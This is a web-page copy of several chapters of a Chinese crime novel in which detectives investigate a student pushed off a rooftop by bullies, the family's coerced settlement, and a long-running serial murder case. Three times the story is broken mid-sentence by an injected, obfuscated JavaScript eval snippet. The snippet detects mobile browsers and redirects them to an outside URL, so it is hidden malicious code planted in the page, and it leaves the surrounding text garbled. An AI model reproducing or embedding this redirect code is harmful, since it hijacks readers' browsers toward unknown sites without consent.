如果每个人,都能因为对方一两句的正义之言而去忏悔,那么世界上也不会有这么多的人去犯罪。 陆闻端着茶杯走进监控室时,齐况正站在电脑前,仔细观察着分别被关在审讯室的三人。 “怎么样,”陆闻走到齐况的面前站定,小心地吹了吹杯里还冒着热气的茶,“你觉得他们的证词有几分真。” “有监控在,上天台那段没法儿撒谎,不过上天台的原因不能全信。天台上没监控,所以在天台上具体发生了什么事,现在也没法儿考究,三人说只和林小生打了个招呼的这段证词也不可全信。” 齐况顿了顿,微微皱起眉头继续道:“不过,林小生和季清君是否在初中时就认识,我们去七中初中部也能了解到,他们应该没必要撒谎。” “半真半假吧,他们三个应该提前都串好供词了。那陆队决定怎么办?” “这案子可没那么简单。仗着天台上没监控,一个个的小毛孩儿,就想和我玩心眼儿,都先给我关着,到时间了再放走。” 一个人孤零零地坐在封闭的小房间里,角落还有监控在时刻监视着你的一举一动,这样的环境往往很考验人的意志。 宋秋秋已经有些害怕,不停地喊着人来放她出去,不过也没人会过来搭理她就是。只有快到中午的时候,陆闻才让警员进去给他们三人送饭。 “喂……我可以走了吗?”宋秋秋的声音带着些颤抖。 “不好意思,这个需要等我们上级的通知。” 等到宋秋秋反应过来时,房间里已经只剩下她一个人,和刚才警察送进来的饭。不过这种时候,她哪里还有心情能吃的下去? “我不想在这里……快放我出去。” “一然和苏乐怎么还没回来?” 陆闻刚端着饭盒坐下,放在桌上的手机便振动了起来。见屏幕上的来电显示是林一然,他连忙拿起电话按下接听:“喂一然,你们那边怎么样了?” “陆队,我和苏乐现在在医院呢。” “医院?”听见陆闻的话,对面的齐况也放下筷子,似在关注着那边的消息。 “好,我知道了,我马上过去。” 见陆闻放下手机,齐况才终于开口问道:“怎么了?” “听一然说,本来事情进展的很好,谁知中途林老伯接了林风的电话,知道了林小生的消息后,突然发了心脏病。” “什么,那现在呢?” “暂时脱离危险了。不过,”陆闻顿了顿,眉头不自觉地皱成一团,“二老的情绪不太稳定,接下来的工作,恐怕有些难度了。” 蓝海市人民医院,陆闻和齐况赶到的时候,苏乐和林一然正站在病房外等着,还是苏乐先注意到往这边过来的两人:“陆队,齐哥。” “苏乐,林老伯怎么样了?” “已经醒了,林奶奶在里面陪林爷爷说话呢。” 陆闻点点头:“我和齐况进去看看,你和一然先回去吧。” 19. 与梦同坠 目送着林一然和苏乐离开后,陆闻转身敲了几下病房虚掩着的门,然后推开门走了进去:“你好。” 坐在病床边上的林奶奶,正举着颤抖的胳膊剥橙子。见有人进来,她停下手里的动作,而后缓缓地抬起头,“你们是?” “我们是城东分局刑侦大队的警察。” 虽说这时候再提这件事很不合时宜,可现在除了二老,应该没有能安心坐下和他们说话的人了吧。 “警,警察……”林奶奶还没来得及说话,听见关键字的林爷爷便睁开眼睛,用颤巍巍的手拍了拍林奶奶的胳膊,“快,老婆子,扶我起来。” 林奶奶二话没说,站起身将橙子放在一边,然后伸出手让林爷爷撑住,好能借着力坐起来。 见状,陆闻三步做两步快速走过去,在另一边将老爷子扶了起来,而后调整好枕头的位置,好让他能靠的舒服些。 “好,好。谢谢。” 旁边的病床还空着,所以陆闻和齐况就坐在了那上面:“林爷爷,你现在感觉怎么样了?” “感觉……好多了,好多了。” 林老伯说这话时,两位老人都默契地低下头。林奶奶大概是觉得手上空空的,又拿起刚才剥了一半的橙子继续剥。 陆闻和齐况互相对视一眼。 虽说干他们这行的,应付死者家属算是很常见的事,可看到因亲人离去而悲伤的人,他们还是会忍不住共情。 “林爷爷,我们知道你和林奶奶现在很难受,可小生是个好孩子,他一定不愿看到你们这样的。所以,你也要好好养好身体,不要让小生担心才是。” 林爷爷没有说话。 可齐况知道,两老活了大半辈子,对于生死他们或许早已看淡,怎奈命运弄人,到头来竟是白发人送黑发人。 生命脆弱,以至于想留的怎么也留不住。 “小生是个苦命的孩子。” 不知过了多久,林爷爷终于开口打破了他们之间的沉默。只是他的声音苍老又带着些嘶哑,像是在人心最柔软的地方戳了一针。 陆闻和齐况离开时,林奶奶已经剥好了那个橙子。她将手中的橙子分成两半,然后剥出一小瓣儿,举起只剩皮和骨头的胳膊,缓缓将那瓣儿橙子送到了林爷爷的手里。 后来,在小组参加案件讨论时,陆闻才知道,林爷爷当时说的“苦命”是什么意思。 林风和田琪结婚多年,一直都没有孩子,去医院检查之后,才知道问题出在男方身上。那段时间,要不是林家二老差点儿给田琪跪下,估计两人当时也就散了。 后来,夫妻俩决定去孤儿院领养一个孩子,于是就有了林小生。 不知是自生下来就是如此,还是因幼时被抛弃后产生了阴影,不管夫妻俩表现的多么亲切,来到林家的林小生始终带着疏离。 久而久之。 或许是看着日渐长大的林小生那张陌生的脸,又可能是对自己这一生无能为力的厌恶,林风开始日日与酒相伴,借酒消愁。 于是,他与这个家的距离越拉越远,最终,牵住三人的线彻底崩断。那年林小生十一岁,在这个家短暂的生活了四年之后,他又一次的被抛弃了。 那天,林小生坐在自己卧室的门口,看着田琪拉着行李箱,从自己身边经过的时候,却没说出一句话。 因为他知道,此刻无论自己再说什么,他的妈妈都不会留下,为了他而留下。 大概是境遇相同的人,总会惺惺相惜。在林风和田琪先后抛弃这个家离开后,老两口靠着那点儿微薄的退休金,继续抚养起了这个孩子。 林爷爷常说,他们都是被至亲抛下的人,父母遗弃孩子,孩子舍弃父母。可就是那样的生活,却是林小生这辈子,最快乐的时光。 陆闻和齐况回分局的时候,听说高明三人在审讯室里彻底坚持不住,已经要求要重新修改供词了。 这倒是在陆闻的意料之中,只是没想到会这么快,不过毕竟都是刚成年的孩子,心理承受能力薄弱一些也正常。 不过就在几人准备去审讯室的时候,他们突然又收到一个消息,在博闻楼对面的教学楼上,有台监控是对着博闻楼的门口,而监控也能收到对面楼上的一些画面。 于是几人先去了另一边看监控,画面的前几秒钟,监控能拍到的范围内并没有人出现。 突然,林小生不知被谁一把推到了天台边的栏杆处,然后就只能看见林小生一直盯着对面,可随后又出现几只手,在扯他的衣物和头发。 “这个时间段,正好是林小生,和高明他们三人都在楼顶的时候吧?” 林一然对着画面刚提出这样的疑问,下一秒便看见一名男生,随着林小生挣扎的动作一起进入到画面之中。 而那男生的衣着,分明和楼梯间里拍到的高明的衣着完全一致!这下看来,他们就是再想怎么胡编乱造,都没有意义了。 “说说吧,”陆闻在关着高明的审讯室里坐下,而后面无表情地盯着对面的人,“那天在天台上,到底发生了什么事?” 同一时间,另一边的审讯室里,宋秋秋看着对面的林一然和苏乐,急切地说道:“我说的都是真的!” “当时,我们只是想上去像往常那样欺负几下林小生,谁知道因为季清君的死,林小生那天的态度特别强硬,就激怒了高明。” “而且,而且我和周洛宇我们俩虽然在旁边,可我们真的没动手,是高明干的,是高明把林小生给推下去的!” “不对,我没想把他推下去的!” 说到此处,高明的情绪突然有些激动:“他那么怂,我以为他不敢的。我是调侃了他几句,也和他推搡了几下,可我不是故意的,我真的不是故意的!” 陆闻不可觉察地皱了下眉:“高明,你别想再狡辩,监控画面里拍的清清楚楚,你那个样子可不像是只推搡了几下。” “我……”高明不自觉地握紧了手指。 没错,他当时确实是没收住力度,可他那时候正在气头上,因为从不敢反抗的林小生,竟让他在周洛宇和宋秋秋两人面前吃了瘪,所以他才…… 有了想直接把他推下去的冲动。 陆闻见他说不出话,便主动提问道:“当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985475|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时在天台上的全部过程到底是什么?还希望你尽量把现在能想到的都告诉我们,毕竟提供假的供词,同样是涉及犯罪的。” 闻言,高明顿时有些慌乱起来,脑内几番挣扎之后,他终于还是向两人说了实话。 初中时的林小生或许没想到,那一次的退缩,竟成了折磨他近三年的噩梦。 这近三年的时间里,高明三人对林小生不断施加了言语和身体上的侮辱,更是借着季清君的事,不断打压着他本就愧疚不已的心。 “你爸爸妈妈不要你,是不是因为你太胆小没用了啊哈哈哈哈……” “听说你是季清君的朋友?哈哈,有你这样的朋友,也太倒霉了吧!” “原来你打算报考艺术学院啊。我看过你的比赛视频,就你平时这副对着外人一句屁话都说不出的样子,还真打算去学什么唱歌啊?” “林小生!你个怂包,你吓唬谁呢?季清君当时被侵犯的时候你没敢出头,现在她都死了,你才想着要为她报仇,你脑子有病吧?” “你他妈说什么呢,你找死是吧?” “我只是想打他几下泄泄气,”高明的声音越来越小,“我没想到会失手……” “没想到?”陆闻面无表情地盯着对面的人,声音也冷的可怕,“你一句没想到,害死的可是一条人命!” “对不起!对不起,对不起,对不起……”高明显然是有些被陆闻的语气吓到了,“我不是故意的,我真的不是故意的。” 齐况伸出手,及时拦住正在气头上的陆闻。后者闭了闭眼,尽量放缓自己的声音:“那宋秋秋和周洛宇呢?” “他们俩,在旁边也说了林小生几句,不过没动手。” “他们说什么了?” “说林小生……说他娘,说他没半点儿男子气概,还,还不如去当女……” 听到此处,陆闻怒极反笑,把高明吓得不敢再说下去:“你们这些小孩子,从小在学校里接受良好的教育,到头来学会的,就是用言语用暴力,去欺负侮辱他人?” 审讯室里静得出奇。 没人再从陆闻的这句话开始争辩。 从审讯室外走廊的窗台往外看去,天边的月牙隐在云纱之间,清冷且带着疏离,给人一种遥不可及的距离感。 “愣什么呢?” 齐况回过神,朝站在自己身旁的陆闻摇摇头:“在想林小生的事。” 见陆闻有些疑惑的看向自己,他继续道:“也没什么,只是觉得林小生这孩子,家庭情况特殊,在学校又遇到这样的事。或许高考后,他就能有新的生活吧。” 陆闻没说话,看向齐况的眼神却逐渐深邃起来。 说实话,陆闻觉得齐况从来队里到现在,虽说待人温和有礼,却若有若无地给人一种疏离感。 两人在一起办过的案子虽然不多,可陆闻能看出来,对待之前案件的案情发展,齐况大多只视做工作去处理。 而林小生案,大概是他第一次与受害者共情。 不过,那时候的陆闻并没有想到,有相同遭遇的人,或许才能感同身受。 20. 与梦同坠 在队里忙到深夜之后,陆闻还是决定得回家休息,办公室里的那张小沙发虽然方便,对他而言却有些伸不开腿。 将近凌晨的街道仍有人流穿行,路边小摊三三两两的还围着顾客,穿过这条小吃街,就是陆闻所居住的小区门口。 可没想到的是,在一阵急促的喇叭声之后,一道车影突然从他眼前穿过,吓得陆闻猛地踩住刹车。 他透过车窗往那辆电动车看去,可惜除了黑影什么也没看清。 “什么情况……” 陆闻微一皱眉,又重新启动车子往自家小区的方向驶去。 第二天,陆闻穿过分局的大厅,将所有因为大事小事过来报案的声音都丢在身后,三步作两步的往刑侦部门走去。 谁知才刚进大门,陆闻就听到从接待室那边传来的,似是在争吵的声音,他就站在门口听了几句。 还没听出个所以然,林一然就从接待室里开门出来—— “陆队?”林一然先是一愣,然后迅速拉过陆闻,往旁边走了几步,“陆队你可算来了,我和苏乐正不知道该怎么办呢。” “什么情况啊里面?” 林一然往接待室的方向看了一眼,而后才压低声音道:“好像是高明的父母知道林小生坠楼和自己儿子有关系,一大早就拉着七中的校长过来,商量着怎么能把事情给压下去。” “哈?” 陆闻双手插腰,转头正要往接待室那边过去,却被林一然给一把拉了回来:“陆队陆队,你别太激动。” “没事儿你放心,我就进去看看。” 陆闻拍了拍林一然的肩膀,转身走到接待室的门口推门走进去:“不好意思。” 闻言,接待室里正七嘴八舌的众人,都朝门口来人看过去。 陆闻避开高明父母的目光,抬步走到七中校长的面前站定:“你好,是张校长吧,我是负责林小生坠楼案的警察,我叫陆闻。” 闻言,张校长立刻站起身和陆闻握了握手:“陆警官你好。” “请问你这是?” “哦,”见高明父母正在和苏乐沟通,张校长示意陆闻退到一边,才好商好量地开口道,“陆警官,是这样的,那边的两位呢,是高明的父母。” “高明父母的意思是,高明还这么小,孩子之间打闹没想到会出了这种事,希望能与受害者的家长聊聊,尽量把两者的损失降到最小。” 跟在后面过来的林一然双手环抱,在旁边插了一嘴道:“18也不小了。” 张校长讪讪一笑,有些不自然地挠了挠头,却没搭理林一然的话:“陆警官,你看这……” “张校长,关于对受害者补偿或者其他的,也是要依案情的严重性,最后由法院那边依法判决的,绝对公平公正。” 张校长连忙点头:“是是,这个我是知道的。只是……陆警官,作为校长,其实我也希望这件事能压下去最好。” 见陆闻不说话,张校长继续道:“陆警官,你也知道,马上呢学生们就要高考了,这时期考生的压力本来就大,要是这件事再传开来,对学生对学校的影响都不好。” “那对林小生呢?” “这个陆警官不必担心,高明父母说了,可以尽最大的补偿给林小生家属。” “哦——”陆闻恍然大悟似地点点头,“既然你们都想好了,只要林小生的家长也同意签谅解书那就可以了对吧?” 见张校长点头,陆闻掏出手机,而后朝他露出一个笑容:“那我现在就给林爷爷打电话……” “就是这里对吧?” 陆闻话还没说完,门外突然进来一人打断他们的对话。三人一齐往声源处看过去,只见林风和田琪一前一后走了进来,后面还跟着齐况。 “呦,陆警官,”林风往屋内环视一圈,终于在那边看见一张熟面孔。他便连忙朝陆闻走过去,“我是过来签谅解书的。” 闻言,张校长又看了眼跟上来的田琪:“哦,你们就是林小生的父母吧?” “你是?” “啊,我是第七中学的校长。” “哦哦原来是校长啊……” “既然都来齐了,我也就不拐弯儿了。”高明的母亲站起身,双手环抱走到林风和田琪两人之间,“大致情况我也了解了,高明还小,同学之间打打闹闹,也确实不是故意把人推下楼的,还希望两位能给孩子一个改过的机会。” “这样,二十万,不够的话,我们可以再商量。” “不好意思这位女士。”陆闻走到几人之间,朝高明的母亲点了点头,“是这样的,林小生的监护人现在并不是这两位,而是他的爷爷奶奶。所以是否同意签谅解书,也应该是联系他们过来才对。” 闻言,林风连忙挤进去,说明道:“我爸妈年纪大了,我是他们的儿子,这些事我也可以做主的。” 陆闻抬手按住情绪有些激动的林风:“不好意思林先生,在这之前我想先向林爷爷确认一下。” “确认个屁啊!”林风一把推开陆闻的手,大声吼了一句,“我们家养他这么多年白养的啊?死了正好,还能换几个钱给那老婆子看病,他能不同意?” “林先生,请你注意言辞!” 见陆闻的情绪有些失控,齐况和林一然立刻跑过去将两人隔开,避免再产生不必要的摩擦。 林风知道自己面对的是什么人,自然也没敢硬犟。被林一然拉开后,就抓着空当去和高明父母沟通谅解书和补偿的事儿。 “陆队,你别太激动。”齐况拍了拍陆闻的后背,试图让他的情绪可以稳定些。 “现在这个情况要是被林爷爷知道,估计他能气的再住一次院吧。” 良久,陆闻握了握拳,再抬头看向齐况时,眼底满是无奈:“随他们吧。只要在合乎法律的范围之内,我们遵从家属意愿,毕竟我们得依法办事不是?” 齐况紧盯着陆闻的眼睛,他从那双眼睛里看到过太多次认真和执着,亦或是洞悉无遗的敏锐。 可此刻,齐况第一次从陆闻眼睛里看到的,是无力与不甘。 见齐况表情严肃地盯着自己,陆闻笑了笑,目光逐渐变得柔和起来:“可是那样的话,我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985476|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就没办法为林小生讨回公道了吧。” 见状,齐况也笑了:“我们是警察,又不是救世主。” 是啊。 人世间有这么多的人在遭受着不公,连救世主都没办法为所有的人求得公平与正义,他们能做的,又比之多些什么呢? 后来,听说林风去了林爷爷家,软硬兼施且晓之以理动之以情的和二老商量着去签谅解书。 那天,林爷爷气的差点儿背过气去,连吃了好几颗救心丸。可听说只要拿到钱就能给奶奶做手术的时候,他又坐下来沉思了好久。 奶奶至始至终没说一句话,只是坐在旁边用颤抖的手剥着橙子。橙子皮难剥,奶奶就咬着牙使劲儿的抠出一个坑,然后顺着坑把橙子皮给扒开。 好不容易剥好的橙子,奶奶就放在洗干净的果盘里摆好,因为她的小孙子,最喜欢吃的就是奶奶给他剥的橙子了。 林爷爷最终还是同意了。一周后,他和奶奶去签了谅解书。 陆闻本想让林一然开车送两位老人回去,却被林爷爷给拒绝了,他说好久没散过步了,想和奶奶一起走走,只这样走回去就行。 那天晚上,奶奶独自躲在屋子里不愿意出去吃饭,林爷爷就把那碗青菜面放在桌上盖好,想着奶奶等会儿饿了肯定会出来吃的。 后来,林爷爷准备睡觉的时候,坐在旁边整晚都没有说过话的林奶奶,才嘟囔着开口—— “小生啊,爷爷奶奶……对不住你。” 奶奶走了。 没能吃上那碗青菜面,也没用那笔赔偿金治病。 林爷爷同时失去了两个至亲的人。 “齐况。” 警员办公室里,齐况和林一然正讨论着某起案件的作案手法。听见有人喊自己的名字,齐况立刻抬头看过去,只见陆闻已经走到了两人的身后。 “陆队。”齐况和林一然同时喊了一声。 “一然,正好你也在,”陆闻拉过一把椅子坐在两人对面,“你们俩今天晚上都有空吗?” “我有!”林一然立刻举起手,“陆队有什么吩咐吗?” 陆闻摇摇头:“吩咐可谈不上,就是想请你们去我家吃个饭。” “我知道!”林一然又一本正经地举起手,“是不是阿姨的生日到了?” 陆闻忍不住朝林一然竖起了大拇指:“你真聪明,下次查案的时候也能这么聪明就好了。” 被陆闻吐槽的林一然吐了吐舌头,而后乖乖地闭上嘴不再说话。 “就是这样,”陆闻将目光移到齐况那边,“我爸去外地出差了,我妈又嫌弃我没仪式感,就想趁着这次机会,再请你们去吃顿饭,也热闹些。” 齐况点点头:“当然可以,我会准时过去的。” 察觉到陆闻的目光转向自己这边,林一然立刻摆出个敬礼的姿势,一脸严肃地回答道:“好的警官,收到警官,队员小林保证会准时到达的!” 见状,齐况没忍住笑出声来。 而对此表示已经习惯了的陆闻撇撇嘴,吐槽道:“你和你齐哥真的只相差两岁吗?” 21. 狩猎 下了班从分局出来之后,齐况直接去找了附近的几家礼品店,虽然陆闻一直说不用带礼物,可他还是觉得有些不妥。 不过他在蓝海没什么朋友,也没怎么给别人送过礼物,所以左挑右选一番后,都没碰到合适的东西。 眼看时间已经不早,齐况终于决定向陆闻求助。他掏出手机,从通讯录里找到陆闻的名字,而后拨通了那边的电话:“喂,陆队,是我。” “我现在在礼品店,想问问阿姨有什么什么爱好或喜欢的东西。” “哎呀不麻烦啦,毕竟今天算是特殊的日子嘛。不会的,嗯好,我知道了,谢谢陆队。” 从茶叶店出来之后,齐况在路边拦了辆出租车,出租车司机从后视镜里看着他在后座坐好,才慢慢启动车子。 “小伙子买的是茶叶吧?”车子刚启动不久,司机师傅突然问了这么一句,还带着蓝海本地人特有的方言口音。 齐况回过神,点头之后才意识到司机师傅可能看不见他的动作,于是又开口道:“对,是普洱。” “普洱好啊,看这包装是准备送人吗?” “是的。”齐况应了一声之后,便没再说话。 其实除了工作需要,他平时在外面很少和陌生人说话。或许是家庭环境带来的影响,哪怕是过了这么久,他还是没办法消除那时的恐惧和自卑感。 “呦,来啦。” 给齐况开门的是陆闻,站在屋内的陆闻穿着围裙,和平时在队里或出现场的陆队长不一样,此刻的陆闻没有锋利的棱角,就连笑容也明朗了几分。 “陆队。” 陆闻点点头,稍微往旁边侧了侧身,好能空出道儿让齐况进来:“快进去坐吧,一然和苏乐在客厅呢。” “好。” “齐哥。” 走到客厅,齐况还没来得及把东西放下,正坐在沙发上看电视的林一然和苏乐,就同时朝他打了招呼。 林一然旋即拍了拍旁边的沙发,示意齐况过去坐下:“齐哥快来这边坐!” 茶几上放着几包瓜子和薯片,听陆闻说是林一然和苏乐在楼下超市买的:“这俩孩子平时工作上挺认真,下了班儿就爱吃这些垃圾食品。” 跟在齐况后面进来的陆闻见状,撇起嘴吐槽着两人。 闻言,林一然微一皱眉:“陆队,齐哥来之前你还吃了我两块饼干!” “我就肚子饿了垫巴垫巴……”陆闻哼了一声,摆摆手又进了厨房帮忙。 没过多久,李如芳就端着菜,和陆闻前后脚从厨房出来:“小齐也来啦。” “阿姨好,”齐况忙站起身招呼一句。 见状,李如芳笑眯眯的摆了摆手:“先坐先坐,还有两个菜,我去端出来就可以吃饭了啊。” 跟在后面出来的陆闻盛好饭,然后依次将碗摆好:“一然,把蛋糕拿出来。” “好嘞!” 林一然闻声应了一句,而后跑到冰箱前将蛋糕拿出来,再放在餐桌上打开外包装盒。 点好蜡烛关上灯之后,几人围在一起合唱生日歌,看着许完愿的李如芳将蜡烛吹灭。 站在旁边的陆闻,突然注意到李如芳从刚才就没放下的嘴角,便随口问了一句:“许的什么愿望啊?” 李如芳撇撇嘴,忽地将笑容收敛了起来:“当然是希望,我和你爸能尽快抱上孙子孙女儿啊。” 闻言,周围几人都默契的没说话,而是一齐将目光看向了陆闻那边。 后者没敢出声儿,只是在李如芳看不见的地方,摆出一副“我就不该多问这句”的表情。 “好久没吃过阿姨做的菜了,这只闻着味儿就要馋死我啦哈哈哈。” “哎呀光顾着说话了,都快坐快坐,开始吃饭吧啊。” 李如芳招呼着几人坐下,而后抬手拿下生日帽放在旁边。借着这个空当,陆闻悄悄朝对面给自己解围的林一然竖了个大拇指。 晚饭结束之后不久,陆闻和李如芳送着几人下了楼。 林一然是自己开车来的,本想能送他们回去,怎奈因为都不顺路,就被齐况和苏乐两人拒绝了。 看着消失在停车场尽头的车辆,陆闻突然说了一句:“我记得苏乐是不是也住在这附近?正好,我送你们回去吧?” “不用了陆队,你送齐哥回去吧,有人来接我。” 说这话的时候,苏乐的脸上洋溢着些许难掩的娇羞与幸福,陆闻大概也就猜到这个“有人”是谁了。 “那好吧,路上小心。” “嗯,”苏乐点点头,而后转身朝正在旁边聊天的李如芳和齐况打了招呼,“阿姨再见,齐哥再见,我先走了。” “明天见。” “小苏注意安全哦。” “所以,你应该没有人专车接送吧?” 陆闻朝齐况笑了笑,没等他回答,又扶住李如芳的肩膀小声叮嘱道:“妈你先上去吧,我送齐况回去。” “好,开车慢点,路上注意安全。” “阿姨再见,我先走了。” 眼看着陆闻已经掏出车钥匙往自己车的方向过去,齐况连忙朝李如芳挥挥手,而后小跑着追了上去。 车辆行驶到目的地之后,齐况下车和陆闻挥手告别:“路上车多,注意安全。” 陆闻一手按在方向盘上:“放心吧,我这,开车老手了。” 齐况便没忍住笑了:“陆队再见。” 和陆闻分别后,齐况独自走在回家的小路上,这个时间点,除了周围楼上的窗户还亮着灯,路上已经看不到什么人了。 齐况沿着小路走到单元楼门口,正准备进去的时候,不远处的景观树却突然剧烈地晃动了几下。 齐况猛地停下脚步,而后往那个地方看了过去,可惜除去一片漆黑,他几乎什么也没看清。 今晚又没有风,而且这个时候,还会躲在障碍物后面的,难道是有贼进小区了? 这样想着,齐况快步朝那边走过去,却没成想就在只有几步的距离时,一团黑影忽地从那里跳出来,而后往齐况这边看了一眼后,就快速地跑走了。 “原来是猫。” 不对,应该是猫吗? 齐况紧紧盯着那棵景观树,如果是猫的话,那棵树根本不会晃动的这么厉害。所以,刚才会是有人躲在这里吗? “陆队,接到报案,在新淮路附近的废弃工厂里发生了命案。” 正俯在桌前看案卷卷宗的陆闻,在听到废弃工厂这几个字的时候,猛地朝门口的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985477|161525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林一然看过去:“是哪个废弃工厂?” 从2012年到现在,八年多的时间,陆闻没想到,自己还能再遇到当年那个,让秦于宸都头疼不已的案件。 陆闻还记得,从他在警校毕业来到城东分局之后,就一直跟在秦于宸的后面查案。在他的印象里,秦队是个很厉害的人,总能从细枝末节处,观察到整个案件的本身。 可是这个案子,自来到秦于宸身边的第一天他就知道,秦队一直在跟进的这个案件,可惜竟连凶手的尾巴都没能摸到。 其实对于这起连环案的凶手,秦于宸当时不是没实施过抓捕,只是不知怎的,在抓捕过程中总会扑个空。 陆闻还清楚的记得,当年张国安案的案发现场,废弃电子工厂第四栋,从左边数的第七间小屋内,受害者双腿叉开趴坐在桌子前,在他身体左侧的第二根和第三根肋骨之间,有一道致命伤。 当然,还有桌上那张,如同死神之书的遗言。在这么多起案件中,除了受害者名字的改变,整篇遗书的内容完全一致。 不过这次让陆闻意外的是,虽然同样的作案手法和对案发现场的布置,都能看出来与之前的连环案是同一人。 可除此之外,受害者身体上多出的那近三十刀,却是在之前案件中都没有出现过的。 韩唐正对受害者尸体检查的结果进行记录,观察完现场的陆闻走到他面前站定,首先开口道:“怎么样了?” 韩唐停下手里的动作,指着受害者的尸体给陆闻解释:“受害者身体左侧的第二根和第三根肋骨之间,有一道25毫米的致命伤,从伤口的形成来看作案工具是刀具。” “至于其他地方的刀伤,应该都是在生前造成的,和受害者胸口处的致命伤,所使用的凶器也是同一种。” “也就是说,在挨了那将近三十刀之后,作案人才给了受害者致命一击?” 韩唐点点头:“对。” 陆闻微一皱眉,突然陷入了沉思。那也就是说,因为作案手法不相同,本起案件和之前案件的作案人,未必会是同一人。 可能是模仿作案。 也可能是,作案人对于本起案件的受害者,与之前案件的受害者,所产生的情感或动机不相同? 不,前前后后牵连到这么多受害者,这种带有仪式感的犯罪行为,真凶会轻易改变它吗? 这一想法在脑内产生之后,陆闻又在附近仔细寻找着可能会被他们忽略的线索。可惜,与之前张国安那起案件的现场一样,作案人对于作案后的痕迹清理的很好。 就连那封手写的遗书,也并没有因为作案人多砍了受害者几刀,而多出什么可用的线索。 “不如……去问问秦队。”陆闻这样想道。 毕竟他对于这起连环案的了解并不多,想当年,他毕业刚不久去到分局,没想到就碰到了这桩棘手的连环杀人案。 可惜当时他胆量不够经验不足,又因为只知道一股脑儿的往前冲,秦于宸也就没让他深入接触到这起案件。 而且随着时间的推移,有用的线索也在慢慢的消失。 说实话,连秦于宸都没能抓捕到的凶手,陆闻此刻也不敢对自己抱有太大的希望,可如今除了拼一把,他没有其他的选择。 22. 狩猎 抽空去秦于宸那里,了解到些许线索之后,回到分局的陆闻,紧急召集负责本起案件的警员去会议室参与案件讨论。 “关于整起连环案的这几位受害者,”陆闻拿起白板笔,在各位受害者的照片下面分别写上了名字。 “从1992年的首起案件发生,到2020年7月23日,也就是昨天为止,28年间共发生了5起案件。” “而且很巧的是,韩法医在第五位受害者的身体上,除致命伤外还发现了28处生前伤。我想,这两者之间或许有些关联,比如28这个数字,会不会是整起连环案的终结。” “我有问题!”趁着陆闻停顿的空当,林一然迅速举起手提问道,“陆队,如果本案的作案手法与之前有所不同的话,那是不是就有模仿作案的可能性呢?” “不排除这种可能,不过依照目前对现场勘查取证的结果来看,应该是出自一人之手。如果是模仿作案的话,那这个作案人的手法就太好了。” 陆闻说完,拿起桌上的遥控器播放了几张照片:“首先,我们可以先了解一下有关前四起案件的案卷记录。” “发生在1992年的第一起案件,案发现场位于城东区新淮路附近的电子工厂后面的员工宿舍里。” “受害者是电子工厂里的一名员工,男性,30岁。被发现时是以双手交叠,双腿叉开的姿势趴坐在木桌前。受害者身体左侧的第二根和第三根肋骨之间有一处致命伤,且在尸体的右上方放着一封写好的遗书。” “因为当时抓得紧,再加上电子工厂的负责人希望能压下这件事,所以当时警方并没能找出作案人。” “第二起案件发生在2001年,受害者为36岁男性,案发现场是城东区白雪路的破旧居民楼里。第三起案件在2006年,受害者是男性,43岁。案发现场是白雪路附近的百悦大厦,不过那时百悦大厦刚建成,所以没有目击者。” 在看到第四起案件的时候,陆闻握着遥控的手指不由自主地紧了紧,只不过几秒,他又开口继续道:“第四起案件是在2012年,受害者是51岁男性,案发现场在新淮路的废弃电子工厂。” “2020年7月23日,这是第五起案件,受害者为58岁男性,案发现场同样是在新淮路的废弃电子工厂。” 言罢,陆闻将遥控放回原位,而后走到白板前,将几位受害者的照片圈在了一起:“这里我要补充的是,几位受害者之间最大的关联,曾经都是池氏电子工厂的员工。且当时都是住在同一间宿舍,也就是首起案件的案发现场。” “由此我暂且认为,连环案的作案人很有可能也是曾在电子工厂工作的员工。不过池氏的这座工厂早已经废弃不用,很多员工也都不在了,所以想要找出全部员工的难度很大。” “不过,我在现蓝海市局支队队长秦于宸秦队那里,大概了解到了一些可能与作案人有关的信息。” 陆闻说着,将面前的记录本翻到了之前记过笔记的那面:“首先要提一句,这几起案件的受害者都是成年男性,且在被杀害前都有过被迷晕的迹象。” “根据每起案件的案卷记载,所有受害者的体型都不瘦弱,可作案人却能轻而易举的迷晕和移动尸体,那么有两种可能,作案人的体型有可能大于几位受害人,要么就是不止一个作案人。” “根据首起案件受害者的身形,我们可以假设当时作案人的身高在185及以上,体重大概在150至160之间,蓝海本地人。” “苏乐,稍后你去查查那座废弃工厂之前的负责人是谁,如果那边还保留了之前的员工档案,先按照这个标准进行排查。” “好的陆队。” “嗯。”陆闻点点头,“对了一然,等会儿你去查查受害者之前的行动轨迹,或者与什么人接触过,一有情况马上联系我。” “知道了陆队。” 